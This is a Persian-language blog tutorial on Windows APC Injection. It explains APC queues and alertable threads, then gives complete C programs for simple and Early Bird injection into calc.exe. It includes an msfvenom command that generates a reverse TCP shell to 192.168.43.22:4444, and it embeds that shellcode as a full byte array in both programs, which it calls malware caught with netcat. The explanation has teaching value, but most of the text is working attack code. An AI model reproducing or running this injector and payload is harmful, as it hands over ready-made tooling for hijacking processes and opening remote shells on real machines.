پیاده سازی APC Injection در C
![](https://mrpythonblog.ir/wp-content/uploads/2023/09/EarlyBirdResult.png)
APC Injection یکی دیگر از روش های تزریق و اجرای کد در پروسه های دیگر است . در این پست به بررسی اینکه APC در ویندوز چیست و چگونه بدافزار ها از آن برای تزریق کد استفاده میکنند میپردازیم .
APC در ویندوز
همانطور که میدانیم ، thread ها در سیستم عامل واحد های اجرایی پروسه های مختلف هستند . thread های سیستم در طول عمرشان دو حالت کلی دارند یا درحال پردازش و مشغول هستند یا اینکه به شکلی بیکار یا منتظر هستند . برای مثال یک thread را فرض کنید که در حال اجرای یک عملیات ریاضی است . این thread مشغول است . حال thread دیگری را فرض کنید که در حال حاضر تابع Sleep را اجرا میکند . میتوان گفت این thread در حال حاضر و تا زمانی که در اجرای تاخیر است ، پردازشی انجام نمیدهد و بیکار است . یا مثال دیگر در باب بیکاری یک thread این است که فرضا یک thread منتظر است تا یک thread دیگر کارش را انجام دهد یا منتظر دریافت اطلاعات از یک بخش سیستم عامل است . در این حالت هم thread بیکار است . به نظرتان منطقی تر و بهینه تر نیست که زمان بیکاری thread ها را بکاهیم و در زمان بیکاری نیز وظایفی به آن ها بدهیم ؟ قطعا این روش کاری میتواند باعث بهینه پیش بردن برنامه شود .
APC در ویندوز چنین چیزی است . هر thread در سیستم عامل ویندوز یک صف به نام APC Queue دارد . محتوای این صف ، یکسری وظایف در قالب توابع اجرایی هستند . توابع داخل این صف که APC نامیده میشوند (مخفف Asynchronous Procedure Call) در حالت عادی اجرا نمیشوند . آنها زمانی اجرا میشوند که thread مورد نظر در حالتی به نام alertable در بیاید . این حالت alertable به طور ساده همان حالت بیکاری thread است که توسط فراخوانی یکی از توابع زیر میتواند بوجود بیاید :
SleepEx
WaitForSingleObjectEx
WaitForMultipleObjectsEx
SignalObjectAndWait
MsgWaitForMultipleObjectsEx
بنابراین هر thread با فراخوانی این توابع ، به حالت alertable در می آید و البته احتمالا بعد از مدتی از حالت alertable خارج میشود . برای مثال وقتی یک thread تابع SleepEx را با آرگومان ۱۰۰۰ میلی ثانیه صدا میزند ، بعد از اینکه ۱۰۰۰ میلی ثانیه گذشت ، از حالت alertable در خواهد آمد . اما همانطور که گفته شد به محض اینکه یک thread به حالت alertable در می آید توابع داخل APC Queue آن thread به ترتیب FIFO شروع به اجرا شدن میکنند (ترتیب FIFO مخفف First In First Out یعنی توابعی که زودتر از بقیه وارد صف شده اند ، زودتر هم فراخوانی میشوند ) .
APC Injection چیست ؟
حال که به طور کلی متوجه شدیم APC در ویندوز چیست و چگونه کار میکند میتوانیم APC Injection را توضیح دهیم . به طور ساده APC Injection تکنیکی است که طی آن ، پروسه بدافزار یک قطعه کد اجرایی (مثلا یک shellcode) را به APC Queue یکی از thread های پروسه مقصد اضافه میکند. حال به محض اینکه thread مقصد به حالت alertable در بیاید ، قطعه کد اضافه شده در پروسه مقصد به اجرا درخواهد آمد .
Windows API تابعی به نام QueueUserAPC در اختیار ما میگذارد که به وسیله ی آن میتوانیم یک APC به APC Queue یک thread دلخواه اضافه کنیم .
در ادامه به دو روش مختلف تزریق APC به پروسه های دیگر میپردازیم .
آماده سازی یک Shellcode
جهت تزریق کد نیاز به یک Shellcode داریم . از متاسپلویت روی کالی لینوکس استفاده میکنیم تا یک Shellcode از نوع Reverse TCP برای ویندوز ۶۴ بیتی هدف تولید کنیم . برای اینکار داخل کالی لینوکس دستور زیر را اجرا میکنیم :
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.43.22 LPORT=4444 -f c > /tmp/reverse_tcp.c
با استفاده از سوییچ p- نوع shellcode و LHOST , LPORT مشخص کننده آدرس IP و شماره پورت شنودگر هستند . همچنین با استفاده از سوییچ f- نیز فرمت خروجی را مشخص کرده ایم که اینجا گفته ایم به صورت آرایه زبان C بایت های shellcode تعریف شود . پس از اجرای دستور بالا فایل خروجی تولید شده چنین محتوایی خواهد داشت :
همانطور که میبینید بایت های Shellcode را به صورت یک آرایه تعریف کرده است . از این آرایه در سورس خود استفاده میکنیم تا آن را به پروسه دیگر تزریق کنیم . در ادامه پیاده سازی روش های مختلف APC Injection به وسیله ی Shellcode تولید شده را بررسی میکنیم .
Simple APC Injection
در روش تزریق APC ساده ، ابتدا یک پروسه را به عنوان مقصد انتخاب میکنیم و shellcode را به APC Queue مربوط به thread های آن تزریق میکنیم و منتظر میمانیم تا یکی از thread ها به حالت alertable برود و کد ما اجرا شود . الگوریتم دقیق این روش :
۱ – انتخاب پروسه مقصد (مثلا process.exe)
۲ – پیدا کردن PID پروسه مقصد
۳ – تخصیص مقداری حافظه برای نوشتن shellcode در پروسه مقصد توسط تابع VirtualAllocEx
۴ – نوشتن بایت های shellcode تولید شده در حافظه تخصیص یافته در مرحله قبل توسط تابع WriteProcessMemory
۵ – تزریق آدرس shellcode به عنوان APC به تمام thread های پروسه مقصد
برای پیدا کردن PID پروسه مقصد از تابعی که در پست “پیدا کردن PID بر اساس اسم پروسه در C” نوشتیم استفاده میکنیم .
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <tlhelp32.h>
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x2b\x16\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
// find process ID by process name
int findMyProc(const char *procname) {
HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;
// snapshot of all processes in the system
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
// initializing size: needed for using Process32First
pe.dwSize = sizeof(PROCESSENTRY32);
// info about first process encountered in a system snapshot
hResult = Process32First(hSnapshot, &pe);
// retrieve information about the processes
// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}
// closes an open handle (CreateToolhelp32Snapshot)
CloseHandle(hSnapshot);
return pid;
}
int main(int argc , char ** argv){
const char * target_process_name = "calc.exe";
int calc_pid = findMyProc(target_process_name); /* finding pid of calc.exe */
HANDLE target_handle = OpenProcess(PROCESS_ALL_ACCESS , 0 , calc_pid);
/* allocating space for shellcode in target process */
void * space = VirtualAllocEx(target_handle , 0 , sizeof shellcode, MEM_COMMIT , PAGE_EXECUTE_READWRITE);
/* writing shellcode to the target process address space */
WriteProcessMemory(target_handle , space , shellcode , sizeof shellcode , 0);
/* finding each thread of target process and inject APC to it */
THREADENTRY32 te = { 0 };
te.dwSize = sizeof (te);
HANDLE thread_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD ,0);
BOOL status = Thread32First(thread_snapshot , &te);
while (status){
if (te.th32OwnerProcessID == calc_pid){
/* this thread belongs to the calc.exe */
/* we must inject APC to it */
/* open a handle to the thread */
HANDLE thread_handle = OpenThread(THREAD_ALL_ACCESS , 0 , te.th32ThreadID);
/* inject allocated space address as an apc to the thread */
QueueUserAPC((PAPCFUNC)space , thread_handle , 0);
}
status = Thread32Next(thread_snapshot , &te);
}
return 0 ;
}
در اینجا از پروسه calc.exe به عنوان مقصد استفاده کرده ایم . در خط ۹۰ یک snapshot از کل thread های سیستم گرفته ایم و با استفاده از توابع Thread32First و Thread32Next به پیمایش آن ها پرداخته این . در هر دور چک کرده ایم آیا pid پروسه ای که thread به آن متعلق است برابر pid پروسه calc.exe است یا نه . اگر بود ابتدا آن thread را توسط تابع OpenThread باز کرده و سپس توسط تابع QueueUserAPC ، کد نوشته شده در پروسه مقصد را به عنوان APC تزریق کرده ایم .
این سورس باعث میشود تا shellcode ما به تمام thread های پروسه مقصد تزریق شود . حال یک شنودگر با ابزار netcat ایجاد میکنیم . سپس یک پروسه calc.exe در ویندوز اجرا میکنیم و بدافزار را اجرا میکنیم . نتیجه :
Early Bird APC Injection
در سیستم عامل ویندوز وقتی یک thread برای اولین بار میخواهد شروع به اجرا شدن کند ، تابعی به نام NtTestAlert در ntdll.dll را صدا زده میشود . این تابع باعث میشود تا کل APC های آن thread اجرا شود.
در روش تزریق ساده APC ، عمل تزریق را به یک پروسه در حال اجرا انجام میدادیم . اما در روش Early Bird یک پروسه جدید با استفاده از تابع CreateProccess و در حالت SUSPENDED میسازیم . وقتی یک پروسه در این حالت ساخته میشود ، قبل از اینکه کد thread اصلی آن شروع به اجرا شدن کند در همان حالت متوقف میشود . در این حالت که هنوز کد thread شروع به اجرا شدن نکرده است ، یک APC به آن تزریق میکنیم . سپس با استفاده از تابع ResumeThread ، پروسه مقصد را ادامه میدهیم و به اجرا در می آوریم . طبق توضیحاتی که دادیم اینجا کد thread تازه شروع به اجرا شدن میکند و تابع NtTestAlert قبل از آن فرخوانی میشود و در نتیجه APC ما اجرا میشود .
#include <windows.h>
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x2b\x16\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
int main(int argc , char ** argv){
STARTUPINFOA sa = { 0 };
sa.cb = sizeof (sa);
PROCESS_INFORMATION pi = { 0 };
/* create a calc.exe process in suspended state */
CreateProcessA(0 , "calc.exe" , 0 , 0 , 0 ,CREATE_SUSPENDED ,0 , 0 , &sa , &pi );
/* allocating space for shellcode in target process */
void * space = VirtualAllocEx(pi.hProcess , 0 , sizeof shellcode, MEM_COMMIT , PAGE_EXECUTE_READWRITE);
/* writing shellcode to the target process address space */
WriteProcessMemory(pi.hProcess , space , shellcode , sizeof shellcode , 0);
/* inject apc to the main thread of created calc.exe */
QueueUserAPC((PAPCFUNC)space , pi.hThread ,0) ;
/* resume main thread of calc.exe */
ResumeThread(pi.hThread);
return 0 ;
}
در اینجا باز پروسه calc.exe را به عنوان پروسه مقصد انتخاب کرده ایم . اگر دقت کنید در ابتدا در خط ۴۴ یک پروسه calc.exe در حالت SUSPENDED درست کرده ایم . سپس مقداری حافظه در آن ایجاد کرده ایم و shellcode خود را درون آن نوشته ایم . سپس آدرس shellcode در حافظه هدف را به عنوان APC به thread اصلی پروسه calc.exe اضافه کرده ایم (در خط ۵۳) .
نهایتا توسط تابع ResumeThread پروسه calc.exe را به اجرا درآورده ایم . این باعث میشود تا قبل از اجرای thread اصلی آن تابع NtTestAlert فراخوانی شود و APC های آن اجرا شود .
نتیجه اجرا :
از معایب روش ساده تزریق APC این است که کد APC ممکن است چندین بار اجرا شود . اگر یادتان باشد ما کد APC را به تمام thread های پروسه مقصد تزریق میکردیم بنابراین هر کدام از آن thread ها ممکن است کد مارا اجرا کنند .
علاقه مند به دنیای کامپیوتر ها ...